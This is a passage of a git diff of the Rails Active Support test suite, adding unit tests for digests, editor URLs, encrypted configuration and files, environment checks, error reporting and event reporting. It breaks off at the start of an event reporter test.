-  def test_clear_with_autoloaded_grandchildren
-    mark_as_autoloaded Grandchild1, Grandchild2 do
-      ActiveSupport::DescendantsTracker.clear
-      assert_equal_sets [Child1, Child2], Parent.descendants
-      assert_equal_sets [], Child1.descendants
-      assert_equal_sets [], Child2.descendants
-    end
-  end
-end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
deleted file mode 100644
index 72adc30aceeeb..0000000000000
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "abstract_unit"
-require "active_support/descendants_tracker"
-require "descendants_tracker_test_cases"
-
-class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
-  include DescendantsTrackerTestCases
-
-  # Regression test for #8422. https://github.com/rails/rails/issues/8442
-  def test_clear_without_autoloaded_singleton_parent
-    mark_as_autoloaded do
-      parent_instance = Parent.new
-      parent_instance.singleton_class.descendants
-      ActiveSupport::DescendantsTracker.clear
-      assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
-    end
-  end
-end
diff --git a/activesupport/test/digest_test.rb b/activesupport/test/digest_test.rb
new file mode 100644
index 0000000000000..9d31f7b01481b
--- /dev/null
+++ b/activesupport/test/digest_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "openssl"
+
+class DigestTest < ActiveSupport::TestCase
+  class InvalidDigest; end
+  def test_with_default_hash_digest_class
+    assert_equal OpenSSL::Digest::MD5.hexdigest("hello friend"), ActiveSupport::Digest.hexdigest("hello friend")
+  end
+
+  def test_with_custom_hash_digest_class
+    original_hash_digest_class = ActiveSupport::Digest.hash_digest_class
+
+    ActiveSupport::Digest.hash_digest_class = OpenSSL::Digest::SHA1
+    digest = ActiveSupport::Digest.hexdigest("hello friend")
+
+    assert_equal 32, digest.length
+    assert_equal OpenSSL::Digest::SHA1.hexdigest("hello friend")[0...32], digest
+  ensure
+    ActiveSupport::Digest.hash_digest_class = original_hash_digest_class
+  end
+
+  def test_should_raise_argument_error_if_custom_digest_is_missing_hexdigest_method
+    assert_raises(ArgumentError) { ActiveSupport::Digest.hash_digest_class = InvalidDigest }
+  end
+end
diff --git a/activesupport/test/editor_test.rb b/activesupport/test/editor_test.rb
new file mode 100644
index 0000000000000..946c495967a04
--- /dev/null
+++ b/activesupport/test/editor_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+module ActiveSupport
+  class EditorTest < ActiveSupport::TestCase
+    setup do
+      Editor.reset
+    end
+
+    teardown do
+      Editor.reset
+    end
+
+    def test_current
+      with_env("EDITOR" => nil, "RAILS_EDITOR" => nil) do
+        assert_nil Editor.current
+      end
+
+      with_env("EDITOR" => "mate", "RAILS_EDITOR" => nil) do
+        assert_equal "txmt://open?url=file://foo.rb&line=42", Editor.current.url_for("foo.rb", 42)
+      end
+
+      with_env("EDITOR" => "mate", "RAILS_EDITOR" => "unknown") do
+        assert_nil Editor.current
+      end
+
+      with_env("EDITOR" => "code", "RAILS_EDITOR" => "mate") do
+        assert_equal "txmt://open?url=file://foo.rb&line=42", Editor.current.url_for("foo.rb", 42)
+      end
+    end
+
+    private
+      def with_env(kv)
+        old_values = {}
+        kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
+        yield
+      ensure
+        old_values.each { |key, value| ENV[key] = value }
+        Editor.reset
+      end
+  end
+end
diff --git a/activesupport/test/encrypted_configuration_test.rb b/activesupport/test/encrypted_configuration_test.rb
new file mode 100644
index 0000000000000..91da6627ea9b7
--- /dev/null
+++ b/activesupport/test/encrypted_configuration_test.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/encrypted_configuration"
+
+class EncryptedConfigurationTest < ActiveSupport::TestCase
+  setup do
+    @tmpdir = Dir.mktmpdir("config-")
+    @credentials_config_path = File.join(@tmpdir, "credentials.yml.enc")
+
+    @credentials_key_path = File.join(@tmpdir, "master.key")
+    File.write(@credentials_key_path, ActiveSupport::EncryptedConfiguration.generate_key)
+
+    @credentials = ActiveSupport::EncryptedConfiguration.new(
+      config_path: @credentials_config_path, key_path: @credentials_key_path,
+      env_key: "RAILS_MASTER_KEY", raise_if_missing_key: true
+    )
+  end
+
+  teardown do
+    FileUtils.rm_rf @tmpdir
+  end
+
+  test "reading configuration by env key" do
+    FileUtils.rm_rf @credentials_key_path
+
+    begin
+      ENV["RAILS_MASTER_KEY"] = ActiveSupport::EncryptedConfiguration.generate_key
+      @credentials.write({ something: { good: true, bad: false } }.to_yaml)
+
+      assert @credentials[:something][:good]
+      assert_not @credentials.dig(:something, :bad)
+      assert_nil @credentials.fetch(:nothing, nil)
+    ensure
+      ENV["RAILS_MASTER_KEY"] = nil
+    end
+  end
+
+  test "reading configuration by key file" do
+    @credentials.write({ something: { good: true, bad: false, nested: { foo: "bar" } } }.to_yaml)
+
+    assert @credentials.something[:good]
+    assert_not @credentials.something[:bad]
+    assert @credentials.something.good
+    assert_not @credentials.something.bad
+    assert_equal "bar", @credentials.dig(:something, :nested, :foo)
+    assert_equal "bar", @credentials.something.nested.foo
+    assert_equal [:something], @credentials.keys
+    assert_equal [:good, :bad, :nested], @credentials.something.keys
+    assert_equal ({ good: true, bad: false, nested: { foo: "bar" } }), @credentials.something
+  end
+
+  test "reading comment-only configuration" do
+    @credentials.write("# comment")
+
+    assert_equal({}, @credentials.config)
+  end
+
+  test "writing with element assignment and reading with element reference" do
+    @credentials[:foo] = 42
+    assert_equal 42, @credentials[:foo]
+  end
+
+  test "writing with dynamic accessor and reading with element reference" do
+    @credentials.foo = 42
+    assert_equal 42, @credentials[:foo]
+  end
+
+  test "change configuration by key file" do
+    @credentials.write({ something: { good: true } }.to_yaml)
+    @credentials.change do |config_file|
+      config = YAML.load(config_file.read)
+      config_file.write config.merge(new: "things").to_yaml
+    end
+
+    assert @credentials.something[:good]
+    assert_equal "things", @credentials[:new]
+  end
+
+  test "raises helpful error when loading invalid content" do
+    @credentials.write("key: value\nbad")
+
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidContentError) do
+      @credentials.config
+    end
+  end
+
+  test "raises helpful error when validating invalid content" do
+    @credentials.write("key: value\nbad")
+
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidContentError) do
+      @credentials.validate!
+    end
+  end
+
+  test "raises helpful error when loading invalid content with unsupported keys" do
+    @credentials.write("42: value")
+
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key '42' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.config
+    end
+
+    @credentials.write("42.0: value")
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key '42.0' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.config
+    end
+
+    @credentials.write("Off: value")
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key 'false' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.config
+    end
+  end
+
+  test "raises helpful error when validating invalid content with unsupported keys" do
+    @credentials.write("42: value")
+
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key '42' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.validate!
+    end
+
+    @credentials.write("42.0: value")
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key '42.0' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.validate!
+    end
+
+    @credentials.write("Off: value")
+    assert_raise(ActiveSupport::EncryptedConfiguration::InvalidKeyError, match: /Key 'false' is invalid, it must respond to '#to_sym' from configuration in '#{@credentials_config_path}'./) do
+      @credentials.validate!
+    end
+  end
+
+  test "raises key error when accessing config via bang method" do
+    assert_raise(KeyError) { @credentials.something! }
+  end
+
+  test "inspect does not show unencrypted attributes" do
+    secret = "something secret"
+    @credentials.write({ secret: secret }.to_yaml)
+    @credentials.config
+
+    assert_no_match(/#{secret}/, @credentials.inspect)
+    assert_match(/\A#<ActiveSupport::EncryptedConfiguration:0x[0-9a-f]+>\z/, @credentials.inspect)
+  end
+end
diff --git a/activesupport/test/encrypted_file_test.rb b/activesupport/test/encrypted_file_test.rb
new file mode 100644
index 0000000000000..cf6d81ae29d99
--- /dev/null
+++ b/activesupport/test/encrypted_file_test.rb
@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/core_ext/object/with"
+require "active_support/encrypted_file"
+
+class EncryptedFileTest < ActiveSupport::TestCase
+  setup do
+    @original_env_content_key = ENV["CONTENT_KEY"]
+    ENV["CONTENT_KEY"] = nil
+
+    @content = "One little fox jumped over the hedge"
+
+    @tmpdir = Dir.mktmpdir("encrypted-file-test-")
+    @content_path = File.join(@tmpdir, "content.txt.enc")
+
+    @key = ActiveSupport::EncryptedFile.generate_key
+    @key_path = File.join(@tmpdir, "content.txt.key")
+    File.write(@key_path, @key)
+
+    @encrypted_file = encrypted_file(@content_path)
+  end
+
+  teardown do
+    FileUtils.rm_rf @content_path
+    FileUtils.rm_rf @key_path
+    FileUtils.rm_rf @tmpdir
+
+    ENV["CONTENT_KEY"] = @original_env_content_key
+  end
+
+  test "reading content by env key" do
+    FileUtils.rm_rf @key_path
+
+    ENV["CONTENT_KEY"] = @key
+    @encrypted_file.write @content
+
+    assert_equal @content, @encrypted_file.read
+  end
+
+  test "reading content by key file" do
+    @encrypted_file.write(@content)
+    assert_equal @content, @encrypted_file.read
+  end
+
+  test "change content by key file" do
+    @encrypted_file.write(@content)
+    @encrypted_file.change do |file|
+      file.write(file.read + " and went by the lake")
+    end
+
+    assert_equal "#{@content} and went by the lake", @encrypted_file.read
+  end
+
+  test "change sets restricted permissions" do
+    @encrypted_file.write(@content)
+    @encrypted_file.change do |file|
+      assert_predicate file, :owned?
+      assert_equal "100600", file.stat.mode.to_s(8), "Incorrect mode for #{file}"
+    end
+  end
+
+  test "raise MissingKeyError when key is missing" do
+    assert_raise ActiveSupport::EncryptedFile::MissingKeyError do
+      encrypted_file(@content_path, key_path: "", env_key: "").read
+    end
+  end
+
+  test "raise MissingKeyError when env key is blank" do
+    FileUtils.rm_rf @key_path
+
+    ENV["CONTENT_KEY"] = ""
+    raised = assert_raise ActiveSupport::EncryptedFile::MissingKeyError do
+      @encrypted_file.write @content
+      @encrypted_file.read
+    end
+
+    assert_match(/Missing encryption key to decrypt file/, raised.message)
+  end
+
+  test "key can be added after MissingKeyError raised" do
+    FileUtils.rm_rf @key_path
+
+    assert_raise ActiveSupport::EncryptedFile::MissingKeyError do
+      @encrypted_file.key
+    end
+
+    File.write(@key_path, @key)
+
+    assert_nothing_raised do
+      assert_equal @key, @encrypted_file.key
+    end
+  end
+
+  test "key? is true when key file exists" do
+    assert_predicate @encrypted_file, :key?
+  end
+
+  test "key? is true when env key is present" do
+    FileUtils.rm_rf @key_path
+    ENV["CONTENT_KEY"] = @key
+
+    assert_predicate @encrypted_file, :key?
+  end
+
+  test "key? is false and does not raise when the key is missing" do
+    FileUtils.rm_rf @key_path
+
+    assert_nothing_raised do
+      assert_not @encrypted_file.key?
+    end
+  end
+
+  test "raise InvalidKeyLengthError when key is too short" do
+    File.write(@key_path, ActiveSupport::EncryptedFile.generate_key[0..-2])
+
+    assert_raise ActiveSupport::EncryptedFile::InvalidKeyLengthError do
+      @encrypted_file.write(@content)
+    end
+  end
+
+  test "raise InvalidKeyLengthError when key is too long" do
+    File.write(@key_path, ActiveSupport::EncryptedFile.generate_key + "0")
+
+    assert_raise ActiveSupport::EncryptedFile::InvalidKeyLengthError do
+      @encrypted_file.write(@content)
+    end
+  end
+
+  test "respects existing content_path symlink" do
+    @encrypted_file.write(@content)
+
+    symlink_path = File.join(@tmpdir, "content_symlink.txt.enc")
+    File.symlink(@encrypted_file.content_path, symlink_path)
+
+    encrypted_file(symlink_path).write(@content)
+
+    assert File.symlink?(symlink_path)
+    assert_equal @content, @encrypted_file.read
+  ensure
+    FileUtils.rm_rf symlink_path
+  end
+
+  test "creates new content_path symlink if it's dead" do
+    symlink_path = File.join(@tmpdir, "content_symlink.txt.enc")
+    File.symlink(@content_path, symlink_path)
+
+    encrypted_file(symlink_path).write(@content)
+
+    assert File.exist?(@content_path)
+    assert_equal @content, @encrypted_file.read
+  ensure
+    FileUtils.rm_rf symlink_path
+  end
+
+  test "can read encrypted file after changing default_serializer" do
+    ActiveSupport::Messages::Codec.with(default_serializer: :marshal) do
+      encrypted_file(@content_path).write(@content)
+    end
+
+    ActiveSupport::Messages::Codec.with(default_serializer: :json) do
+      assert_equal @content, encrypted_file(@content_path).read
+    end
+  end
+
+  private
+    def encrypted_file(content_path, key_path: @key_path, env_key: "CONTENT_KEY")
+      ActiveSupport::EncryptedFile.new(content_path: @content_path, key_path: key_path,
+        env_key: env_key, raise_if_missing_key: true)
+    end
+end
diff --git a/activesupport/test/environment_inquirer_test.rb b/activesupport/test/environment_inquirer_test.rb
new file mode 100644
index 0000000000000..e6be42c5f7ee0
--- /dev/null
+++ b/activesupport/test/environment_inquirer_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class EnvironmentInquirerTest < ActiveSupport::TestCase
+  test "local predicate" do
+    assert_predicate ActiveSupport::EnvironmentInquirer.new("development"), :local?
+    assert_predicate ActiveSupport::EnvironmentInquirer.new("test"), :local?
+    assert_not ActiveSupport::EnvironmentInquirer.new("production").local?
+  end
+
+  test "prevent local from being used as an actual environment name" do
+    assert_raises(ArgumentError) do
+      ActiveSupport::EnvironmentInquirer.new("local")
+    end
+  end
+end
diff --git a/activesupport/test/error_reporter_test.rb b/activesupport/test/error_reporter_test.rb
new file mode 100644
index 0000000000000..af1f7c192205c
--- /dev/null
+++ b/activesupport/test/error_reporter_test.rb
@@ -0,0 +1,430 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/execution_context/test_helper"
+require "active_support/error_reporter/test_helper"
+
+class ErrorReporterTest < ActiveSupport::TestCase
+  # ExecutionContext is automatically reset in Rails app via executor hooks set in railtie
+  # But not in Active Support's own test suite.
+  include ActiveSupport::ExecutionContext::TestHelper
+  include ActiveSupport::ErrorReporter::TestHelper
+
+  setup do
+    @reporter = ActiveSupport::ErrorReporter.new
+    @subscriber = ActiveSupport::ErrorReporter::TestHelper::ErrorSubscriber.new
+    @reporter.subscribe(@subscriber)
+    @error = ArgumentError.new("Oops")
+  end
+
+  test "receives the execution context" do
+    @reporter.set_context(section: "admin")
+    error = ArgumentError.new("Oops")
+    @reporter.report(error, handled: true)
+    assert_equal [[error, true, :warning, "application", { section: "admin" }]], @subscriber.events
+  end
+
+  test "passed context has priority over the execution context" do
+    @reporter.set_context(section: "admin")
+    error = ArgumentError.new("Oops")
+    @reporter.report(error, handled: true, context: { section: "public" })
+    assert_equal [[error, true, :warning, "application", { section: "public" }]], @subscriber.events
+  end
+
+  test "passed source is forwarded" do
+    error = ArgumentError.new("Oops")
+    @reporter.report(error, handled: true, source: "my_gem")
+    assert_equal [[error, true, :warning, "my_gem", {}]], @subscriber.events
+  end
+
+  test "#disable allow to skip a subscriber" do
+    @reporter.disable(@subscriber) do
+      @reporter.report(ArgumentError.new("Oops"), handled: true)
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#disable allow to skip a subscribers per class" do
+    @reporter.disable(ErrorSubscriber) do
+      @reporter.report(ArgumentError.new("Oops"), handled: true)
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#handle swallow and report any unhandled error" do
+    error = ArgumentError.new("Oops")
+    @reporter.handle do
+      raise error
+    end
+    assert_equal [[error, true, :warning, "application", {}]], @subscriber.events
+  end
+
+  test "#handle can be scoped to an exception class" do
+    assert_raises ArgumentError do
+      @reporter.handle(NameError) do
+        raise ArgumentError
+      end
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#handle can be scoped to several exception classes" do
+    assert_raises ArgumentError do
+      @reporter.handle(NameError, NoMethodError) do
+        raise ArgumentError
+      end
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#handle swallows and reports matching errors" do
+    error = ArgumentError.new("Oops")
+    @reporter.handle(NameError, ArgumentError) do
+      raise error
+    end
+    assert_equal [[error, true, :warning, "application", {}]], @subscriber.events
+  end
+
+  test "#handle passes through the return value" do
+    result = @reporter.handle do
+      2 + 2
+    end
+    assert_equal 4, result
+  end
+
+  test "#handle returns nil on handled raise" do
+    result = @reporter.handle do
+      raise StandardError
+      2 + 2
+    end
+    assert_nil result
+  end
+
+  test "#handle returns the value of the fallback as a proc on handled raise" do
+    result = @reporter.handle(fallback: -> { 2 + 2 }) do
+      raise StandardError
+    end
+    assert_equal 4, result
+  end
+
+  test "#handle raises if the fallback is not a callable" do
+    assert_raises NoMethodError do
+      @reporter.handle(fallback: "four") do
+        raise StandardError
+      end
+    end
+  end
+
+  test "#handle raises the error up if fallback is a proc that then also raises" do
+    assert_raises ArgumentError do
+      @reporter.handle(fallback: -> { raise ArgumentError }) do
+        raise StandardError
+      end
+    end
+  end
+
+  test "#record report any unhandled error and re-raise them" do
+    error = ArgumentError.new("Oops")
+    assert_raises ArgumentError do
+      @reporter.record do
+        raise error
+      end
+    end
+    assert_equal [[error, false, :error, "application", {}]], @subscriber.events
+  end
+
+  test "#record can be scoped to an exception class" do
+    assert_raises ArgumentError do
+      @reporter.record(NameError) do
+        raise ArgumentError
+      end
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#record can be scoped to several exception classes" do
+    assert_raises ArgumentError do
+      @reporter.record(NameError, NoMethodError) do
+        raise ArgumentError
+      end
+    end
+    assert_equal [], @subscriber.events
+  end
+
+  test "#record report any matching, unhandled error and re-raise them" do
+    error = ArgumentError.new("Oops")
+    assert_raises ArgumentError do
+      @reporter.record(NameError, ArgumentError) do
+        raise error
+      end
+    end
+    assert_equal [[error, false, :error, "application", {}]], @subscriber.events
+  end
+
+  test "#report assigns a backtrace if it's missing" do
+    error = RuntimeError.new("Oops")
+    assert_nil error.backtrace
+    assert_nil error.backtrace_locations
+
+    @reporter.report(error)
+
+    assert error.backtrace.first.start_with?(__FILE__)
+    assert_equal __FILE__, error.backtrace_locations.first.path
+  end
+
+  test "#report assigns a cause if it's missing" do
+    raise "the original cause"
+  rescue => cause
+    new_error = StandardError.new("A new error that should wrap the StandardError")
+    assert_nil new_error.cause
+
+    @reporter.report(new_error)
+
+    assert_same cause, new_error.cause
+  end
+
+  test "#record passes through the return value" do
+    result = @reporter.record do
+      2 + 2
+    end
+    assert_equal 4, result
+  end
+
+  test "#unexpected swallows errors by default" do
+    error = RuntimeError.new("Oops")
+    assert_nil @reporter.unexpected(error)
+    assert_equal [[error, true, :warning, "application", {}]], @subscriber.events
+    assert_not_predicate error.backtrace, :empty?
+    assert_not_predicate error.backtrace_locations, :empty?
+  end
+
+  test "#unexpected accepts an error message" do
+    assert_nil @reporter.unexpected("Oops")
+    assert_equal 1, @subscriber.events.size
+
+    error, *event_details = @subscriber.events.first
+    assert_equal [true, :warning, "application", {}], event_details
+
+    assert_equal "Oops", error.message
+    assert_equal RuntimeError, error.class
+    assert_not_predicate error.backtrace, :empty?
+  end
+
+  test "#unexpected re-raise errors in development and test" do
+    @reporter.debug_mode = true
+    error = RuntimeError.new("Oops")
+    raise_line = __LINE__ + 2
+    raised_error = assert_raises ActiveSupport::ErrorReporter::UnexpectedError do
+      @reporter.unexpected(error)
+    end
+    assert_includes raised_error.message, "RuntimeError: Oops"
+    assert_not_nil raised_error.cause
+    assert_same error, raised_error.cause
+    assert_includes raised_error.backtrace.first, "#{__FILE__}:#{raise_line}"
+  end
+
+  test "can have multiple subscribers" do
+    second_subscriber = ErrorSubscriber.new
+    @reporter.subscribe(second_subscriber)
+
+    error = ArgumentError.new("Oops")
+    @reporter.report(error, handled: true)
+
+    assert_equal 1, @subscriber.events.size
+    assert_equal 1, second_subscriber.events.size
+  end
+
+  test "can unsubscribe" do
+    second_subscriber = ErrorSubscriber.new
+    @reporter.subscribe(second_subscriber)
+
+    error = ArgumentError.new("Oops")
+    @reporter.report(error, handled: true)
+
+    @reporter.unsubscribe(second_subscriber)
+
+    error = ArgumentError.new("Oops 2")
+    @reporter.report(error, handled: true)
+
+    assert_equal 2, @subscriber.events.size
+    assert_equal 1, second_subscriber.events.size
+
+    @reporter.subscribe(second_subscriber)
+    @reporter.unsubscribe(ErrorSubscriber)
+
+    error = ArgumentError.new("Oops 3")
+    @reporter.report(error, handled: true)
+
+    assert_equal 2, @subscriber.events.size
+    assert_equal 1, second_subscriber.events.size
+  end
+
+  test "handled errors default to :warning severity" do
+    @reporter.report(@error, handled: true)
+    assert_equal :warning, @subscriber.events.dig(0, 2)
+  end
+
+  test "unhandled errors default to :error severity" do
+    @reporter.report(@error, handled: false)
+    assert_equal :error, @subscriber.events.dig(0, 2)
+  end
+
+  test "errors be reported with valid severity" do
+    ActiveSupport::ErrorReporter::SEVERITIES.each do |severity|
+      @reporter.report(StandardError.new, severity: severity)
+      assert_equal severity, @subscriber.events.last[2]
+    end
+  end
+
+  test "errors with invalid severity raise" do
+    assert_raises ArgumentError do
+      @reporter.report(@error, severity: :invalid)
+    end
+  end
+
+  test "report raises if passed an argument that is not an Exception" do
+    error = assert_raises ArgumentError do
+      @reporter.report(Object.new)
+    end
+    assert_includes error.message, "Reported error must be an Exception"
+  end
+
+  test "report raises if passed a String" do
+    error = assert_raises ArgumentError do
+      @reporter.report("An error message")
+    end
+    assert_includes error.message, "Reported error must be an Exception"
+  end
+
+  test "report accepts context as nil" do
+    @reporter.report(@error, context: nil)
+    assert_equal({}, @subscriber.events.last[4])
+  end
+
+  test "report errors only once" do
+    assert_difference -> { @subscriber.events.size }, +1 do
+      @reporter.report(@error, handled: false)
+    end
+
+    assert_no_difference -> { @subscriber.events.size } do
+      3.times do
+        @reporter.report(@error, handled: false)
+      end
+    end
+  end
+
+  test "causes can't be reported again either" do
+    begin
+      begin
+        begin
+          raise "Original"
+        rescue
+          raise "Another"
+        end
+      rescue
+        raise "Yet Another"
+      end
+    rescue => @error
+    end
+
+    assert_difference -> { @subscriber.events.size }, +1 do
+      @reporter.report(@error, handled: false)
+    end
+
+    assert_no_difference -> { @subscriber.events.size } do
+      3.times do
+        @reporter.report(@error.cause.cause, handled: false)
+      end
+    end
+  end
+
+  test "can report frozen exceptions" do
+    assert_difference -> { @subscriber.events.size }, +1 do
+      @reporter.report(@error.freeze, handled: false)
+    end
+  end
+
+  class FailingErrorSubscriber
+    Error = Class.new(StandardError)
+
+    def initialize(error)
+      @error = error
+    end
+
+    def report(_error, handled:, severity:, context:, source:)
+      raise @error
+    end
+  end
+
+  test "subscriber errors are re-raised if no logger is set" do
+    subscriber_error = FailingErrorSubscriber::Error.new("Big Oopsie")
+    @reporter.subscribe(FailingErrorSubscriber.new(subscriber_error))
+    assert_raises FailingErrorSubscriber::Error do
+      @reporter.report(@error, handled: true)
+    end
+  end
+
+  test "subscriber errors are logged if a logger is set" do
+    subscriber_error = FailingErrorSubscriber::Error.new("Big Oopsie")
+    @reporter.subscribe(FailingErrorSubscriber.new(subscriber_error))
+    log = StringIO.new
+    @reporter.logger = ActiveSupport::Logger.new(log)
+    @reporter.report(@error, handled: true)
+
+    expected = "Error subscriber raised an error: Big Oopsie (ErrorReporterTest::FailingErrorSubscriber::Error)"
+    assert_equal expected, log.string.lines.first.chomp
+  end
+
+  test "error context middleware can mutate context hash" do
+    middleware = -> (_, context:, **kwargs) { context.merge({ foo: :bar }) }
+
+    error = ArgumentError.new("Oops")
+
+    @reporter.add_middleware(middleware)
+    @reporter.report(error)
+
+    assert_equal [[error, true, :warning, "application", { foo: :bar }]], @subscriber.events
+  end
+
+  class MyErrorContextMiddleware
+    def call(_, context:, **kwargs)
+      context.merge({ bar: :baz })
+    end
+  end
+
+  test "can have multiple error context middlewares" do
+    @reporter.add_middleware(-> (_, context:, **kwargs) { context.merge({ foo: :bar }) })
+    @reporter.add_middleware(MyErrorContextMiddleware.new)
+
+    error = ArgumentError.new("Oops")
+    @reporter.report(error)
+
+    assert_equal [[error, true, :warning, "application", { foo: :bar, bar: :baz }]], @subscriber.events
+  end
+
+  test "last error context middleware to update a key wins" do
+    @reporter.add_middleware(-> (_, context:, **kwargs) { context.merge({ foo: :bar }) })
+    @reporter.add_middleware(-> (_, context:, **kwargs) { context.merge({ foo: :baz }) })
+    error = ArgumentError.new("Oops")
+    @reporter.report(error)
+
+    assert_equal [[error, true, :warning, "application", { foo: :baz }]], @subscriber.events
+  end
+
+  test "error context middleware receives same parameters as #report" do
+    reported_error = ArgumentError.new("Oops")
+    @reporter.add_middleware(-> (error, context:, handled:, severity:, source:) {
+        assert_equal reported_error, error
+        assert_equal Hash.new, context
+        assert_equal true, handled
+        assert_equal :warning, severity
+        assert_equal ActiveSupport::ErrorReporter::DEFAULT_SOURCE, source
+
+        context.merge({ foo: :bar })
+      })
+
+    @reporter.report(reported_error)
+
+    assert_equal [[reported_error, true, :warning, "application", { foo: :bar }]], @subscriber.events
+  end
+end
diff --git a/activesupport/test/event_reporter/log_subscriber_test.rb b/activesupport/test/event_reporter/log_subscriber_test.rb
new file mode 100644
index 0000000000000..2b263fa58729b
--- /dev/null
+++ b/activesupport/test/event_reporter/log_subscriber_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/log_subscriber/test_helper"
+
+class ActiveSupport::EventReporter::LogSubscriberTest < ActiveSupport::TestCase
+  class MyLogSubscriber < ActiveSupport::EventReporter::LogSubscriber
+    self.namespace = "test"
+
+    def debug_only(event)
+      debug "hello #{event[:name]}"
+    end
+    event_log_level :debug_only, :debug
+
+    def info_only(event)
+      info "hello #{event[:name]}"
+    end
+    event_log_level :info_only, :info
+
+    def error_only(event)
+      error "hello #{event[:name]}"
+    end
+    event_log_level :error_only, :error
+  end
+
+  setup do
+    @old_logger = nil
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @log_subscriber = MyLogSubscriber.new
+    MyLogSubscriber.logger = @logger
+    ActiveSupport.event_reporter.subscribe(@log_subscriber, &MyLogSubscriber.subscription_filter)
+  end
+
+  teardown do
+    MyLogSubscriber.logger = @old_logger
+    ActiveSupport.event_reporter.unsubscribe(@log_subscriber)
+  end
+
+  test "info logging" do
+    ActiveSupport.event_reporter.notify("test.info_only")
+    assert_equal ["hello test.info_only"], @logger.logged(:info)
+  end
+
+  test "error logging" do
+    ActiveSupport.event_reporter.notify("test.error_only")
+    assert_equal ["hello test.error_only"], @logger.logged(:error)
+  end
+
+  test "debug logging" do
+    ActiveSupport.event_reporter.notify("test.debug_only")
+    assert_equal ["hello test.debug_only"], @logger.logged(:debug)
+  end
+
+  test "filtered logging" do
+    @logger.level = :info
+    ActiveSupport.event_reporter.notify("test.debug_only")
+    assert_empty @logger.logged(:debug)
+  end
+
+  test "default logger" do
+    MyLogSubscriber.logger = nil
+
+    assert_raises(NotImplementedError) do
+      MyLogSubscriber.logger
+    end
+
+    subclass = Class.new(MyLogSubscriber) do
+      def self.default_logger
+        ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+      end
+    end
+
+    assert_instance_of(ActiveSupport::LogSubscriber::TestHelper::MockLogger, subclass.logger)
+  end
+
+  test "nil logger" do
+    MyLogSubscriber.logger = nil
+
+    subclass = Class.new(MyLogSubscriber) do
+      def self.default_logger
+        nil
+      end
+    end
+
+    assert_nothing_raised { subclass.new.emit(name: "test.debug_only") }
+  end
+
+  test ".subscription_filter" do
+    event_reporter_raise_on_error do
+      ActiveSupport.event_reporter.notify("other_namespace_that_shouldnt_work.info_only")
+      assert_equal [], @logger.logged(:info)
+
+      ActiveSupport.event_reporter.notify("no_namespace_info_only")
+      assert_equal [], @logger.logged(:info)
+    end
+  end
+
+  private
+    def event_reporter_raise_on_error
+      ActiveSupport.event_reporter.raise_on_error = true
+      yield
+    ensure
+      ActiveSupport.event_reporter.raise_on_error = false
+    end
+end
diff --git a/activesupport/test/event_reporter_test.rb b/activesupport/test/event_reporter_test.rb
new file mode 100644
index 0000000000000..1931ec008020b
--- /dev/null
+++ b/activesupport/test/event_reporter_test.rb
@@ -0,0 +1,663 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/event_reporter/test_helper"
+require "json"
+
+module ActiveSupport
+  class EventReporterTest < ActiveSupport::TestCase
+    include EventReporter::TestHelper
+
+    setup do
+      @subscriber = EventReporter::TestHelper::EventSubscriber.new
+      @reporter = EventReporter.new(@subscriber, raise_on_error: true)
+      @old_debug_mode = @reporter.debug_mode?
+      @reporter.debug_mode = false
+    end
+
+    teardown do
+      @reporter.debug_mode = @old_debug_mode
+    end
+
+    class TestEvent
+      def initialize(data)
+        @data = data
+      end
+    end
+
+    class HttpRequestTag
+      def initialize(http_method, http_status)
+        @http_method = http_method
+        @http_status = http_status
+      end
+    end
+
+    class LoggingAbstraction
+      def initialize(reporter)
+        @reporter = reporter
+      end
+
+      def a_log_method(message)
+        @reporter.notify(:custom_event, caller_depth: 2, message: message)
+      end
+
+      def a_debug_method(message)
+        @reporter.debug(:custom_event, caller_depth: 2, message: message)
+      end
+    end
+
+    class ErrorSubscriber
+      def emit(event)
+        raise StandardError.new("Uh oh!")
+      end
+    end
+
+    test "#subscribe" do
+      reporter = ActiveSupport::EventReporter.new
+      subscribers = reporter.subscribe(@subscriber)
